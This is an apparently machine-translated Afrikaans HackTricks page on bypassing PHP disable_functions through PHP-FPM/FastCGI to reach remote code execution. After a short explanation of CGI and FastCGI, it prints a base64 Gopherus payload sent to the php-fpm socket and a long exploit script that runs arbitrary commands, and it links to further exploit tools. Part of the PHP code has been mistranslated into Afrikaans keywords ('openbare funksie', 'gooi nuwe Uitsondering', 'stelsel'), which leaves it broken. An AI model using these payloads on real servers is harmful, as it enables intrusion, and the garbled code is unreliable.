disable_functions bypass - php-fpm/FastCGI

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

PHP-FPM

PHP-FPM word aangebied as 'n superior alternatief vir die standaard PHP FastCGI, wat kenmerke bied wat veral voordelig is vir webwerwe met hoë verkeer. Dit werk deur 'n meesterproses wat 'n versameling werkerprosesse oorsien. Vir 'n PHP-skripsaankondiging is dit die webbediener wat 'n FastCGI-proksi-verbinding na die PHP-FPM-diens inisieer. Hierdie diens het die vermoë om versoeke te ontvang deur netwerkpoorte op die bediener of Unix-sockets.

Ten spyte van die bemiddelende rol van die proksi-verbinding, moet PHP-FPM op dieselfde masjien as die webbediener operasioneel wees. Die verbinding wat dit gebruik, alhoewel proksi-gebaseerd, verskil van konvensionele proksi-verbindinge. Na die ontvangs van 'n versoek, verwerk 'n beskikbare werker van PHP-FPM dit—voer die PHP-skrips uit en stuur dan die resultate terug na die webbediener. Nadat 'n werker 'n versoek verwerk het, word dit weer beskikbaar vir komende versoeke.

Maar wat is CGI en FastCGI?

CGI

Normaalweg word webbladsye, lêers en al die dokumente wat vanaf die webbediener na die blaaier oorgedra word, gestoor in 'n spesifieke openbare gids soos home/gebruiker/publiek_html. Wanneer die blaaier sekere inhoud aanvra, kontroleer die bediener hierdie gids en stuur die vereiste lêer na die blaaier.

As CGI op die bediener geïnstalleer is, word die spesifieke cgi-bin-gids ook daarby gevoeg, byvoorbeeld home/gebruiker/publiek_html/cgi-bin. CGI-skripte word in hierdie gids gestoor. Elke lêer in die gids word behandel as 'n uitvoerbare program. Wanneer 'n skrip van die gids benader word, stuur die bediener 'n versoek na die toepassing wat verantwoordelik is vir hierdie skrip, eerder as om die lêerinhoude na die blaaier te stuur. Nadat die verwerking van die insetdata voltooi is, stuur die toepassing die uitsetdata na die webbediener wat die data na die HTTP-kliënt deurstuur.

Byvoorbeeld, wanneer die CGI-skrip http://mysitename.com/cgi-bin/file.pl benader word, sal die bediener die toepaslike Perl-toepassing hardloop deur CGI. Die data wat gegenereer word deur die skripuitvoering, sal deur die toepassing na die webbediener gestuur word. Die bediener sal op sy beurt die data na die blaaier oordra. As die bediener nie CGI gehad het nie, sou die blaaier die .pl lêerkode self vertoon het. (verduideliking van hier)

FastCGI

FastCGI is 'n nuwer webtegnologie, 'n verbeterde CGI weergawe aangesien die hooffunksionaliteit dieselfde bly.

Die behoefte om FastCGI te ontwikkel is dat Web ontstaan het deur die vinnige ontwikkeling en kompleksiteit van aansoeke, sowel as om die skaalbaarheidstekortkominge van CGI-tegnologie aan te spreek. Om aan daardie vereistes te voldoen, het Open Market FastCGI ingevoer – 'n hoë prestasie weergawe van die CGI-tegnologie met verbeterde vermoëns.

disable_functions omseil

Dit is moontlik om PHP-kode uit te voer deur die FastCGI te misbruik en die disable_functions-beperkings te vermy.

Via Gopherus

Ek is nie seker of dit werk in moderne weergawes nie, omdat ek dit een keer probeer het en dit niks uitgevoer het nie. Asseblief, as jy meer inligting hieroor het, kontak my via [PEASS & HackTricks telegram-groep hier](https://t.me/peass), of twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Deur Gopherus te gebruik, kan jy 'n lading genereer om na die FastCGI-luisteraar te stuur en arbitrêre bevele uit te voer:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

PHP-uitbuiting

Ek is nie seker of dit werk in moderne weergawes nie, omdat ek dit een keer probeer het en ek kon niks uitvoer nie. Eintlik het ek gesien dat phpinfo() vanaf FastCGI-uitvoering aangedui het dat disable_functions leeg was, maar PHP (op een of ander manier) het my steeds verhoed om enige voorheen gedeaktiveerde funksie uit te voer. Asseblief, as jy meer inligting hieroor het, kontak my via [PEASS & HackTricks telegram groep hier](https://t.me/peass), of twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Kode van hier.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @keer terug String
*/
openbare funksie versoek(array $params, $stdin)
{
$response = '';
$this->verbind();
$aanvraag = $this->bouPakket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsAanvraag = '';
vir elk ($params as $sleutel => $waarde) {
$paramsAanvraag .= $this->bouNvpaar($sleutel, $waarde);
}
as ($paramsAanvraag) {
$aanvraag .= $this->bouPakket(self::PARAMS, $paramsAanvraag);
}
$aanvraag .= $this->bouPakket(self::PARAMS, '');
as ($stdin) {
$aanvraag .= $this->bouPakket(self::STDIN, $stdin);
}
$aanvraag .= $this->bouPakket(self::STDIN, '');
fwrite($this->_sock, $aanvraag);
doen {
$resp = $this->leesPakket();
as ($resp['tipe'] == self::STDOUT || $resp['tipe'] == self::STDERR) {
$response .= $resp['inhoud'];
}
} terwyl ($resp && $resp['tipe'] != self::END_REQUEST);
var_dump($resp);
as (!is_array($resp)) {
gooi nuwe Uitsondering('Slegte versoek');
}
skakel (ord($resp['inhoud']{4})) {
geval self::CANT_MPX_CONN:
gooi nuwe Uitsondering('Hierdie toepassing kan nie multiplex nie [CANT_MPX_CONN]');
breek;
geval self::OVERLOADED:
gooi nuwe Uitsondering('Nuwe versoek verwerp; te besig [OVERLOADED]');
breek;
geval self::UNKNOWN_ROLE:
gooi nuwe Uitsondering('Rolwaarde onbekend [UNKNOWN_ROLE]');
breek;
geval self::REQUEST_COMPLETE:
keer terug $response;
}
}
}
?>
<?php
// werklike uitbuiting begin hier
as (!isset($_REQUEST['cmd'])) {
sterf("Kontroleer jou insette\n");
}
as (!isset($_REQUEST['lêernaam'])) {
$lêernaam = __FILE__;
} anders {
$lêernaam = $_REQUEST['lêernaam'];
}
$aanvraag = '/'.basename($lêernaam);
$uri = $aanvraag .'?'.'bevel='.$_REQUEST['cmd'];
$kliënt = nuwe FCGIClient("unix:///var/run/php-fpm.sock", -1);
$kode = "<?php stelsel(\$_REQUEST['bevel']); phpinfo(); ?>"; // php lading -- Doen niks nie
$php_waarde = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_waarde = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $lêernaam,
'SCRIPT_NAME'       => $aanvraag,
'QUERY_STRING'      => 'bevel='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $aanvraag,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_waarde,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($kode)
);
// druk_r($_REQUEST);
// druk_r($params);
//echo "Oproep: $uri\n\n";
echo $kliënt->versoek($params, $kode)."\n";
?>
Gebruik die vorige funksie en jy sal sien dat die funksie **`system`** nog steeds **uitgeskakel** is, maar **`phpinfo()`** wys 'n **leë `disable_functions`**:

![](<../../../../.gitbook/assets/image (188).png>)

![](<../../../../.gitbook/assets/image (713).png>)

**Dus, ek dink jy kan slegs `disable_functions` instel via php `.ini`-konfigurasie lêers en die PHP\_VALUE sal nie daardie instelling oorskry nie.**

### [**FuckFastGCI**](https://github.com/w181496/FuckFastcgi)

Dit is 'n php-skrip om die fastcgi-protokol te benut om `open_basedir` en `disable_functions` te omseil.\
Dit sal jou help om streng `disable_functions` te omseil vir RCE deur die skadelike uitbreiding te laai.\
Jy kan dit hier besoek: [https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) of 'n effens gewysigde en verbeterde weergawe hier: [https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi)

Jy sal vind dat die uitbuiting baie soortgelyk is aan die vorige kode, maar in plaas daarvan om te probeer `disable_functions` te omseil deur PHP\_VALUE te gebruik, probeer dit om **'n eksterne PHP-module te laai** om kode uit te voer deur die parameters `extension_dir` en `extension` binne die veranderlike `PHP_ADMIN_VALUE`.\
**NOTA1**: Jy sal waarskynlik die uitbreiding met dieselfde PHP-weergawe as die bediener moet **herkompilieer** (jy kan dit binne die uitset van phpinfo nagaan):

![](<../../../../.gitbook/assets/image (180).png>)

<div data-gb-custom-block data-tag="hint" data-style='danger'>

**NOTA2**: Ek het daarin geslaag om dit te laat werk deur die `extension_dir` en `extension` waardes binne 'n PHP `.ini`-konfigurasie lêer in te voeg (iets wat jy nie sal kan doen om 'n bediener aan te val nie). Maar om een ​​of ander rede, toe ek hierdie uitbuiting gebruik en die uitbreiding van die `PHP_ADMIN_VALUE`-veranderlike laai, het die proses net gesterf, so ek weet nie of hierdie tegniek nog geldig is nie.

</div>

### PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)

Jy kan hierdie kwesbaarheid uitbuit met [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) en dit toets met hierdie docker-omgewing: [https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043).\
Jy kan ook 'n ontleding van die kwesbaarheid vind [**hier**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)**.**

Last updated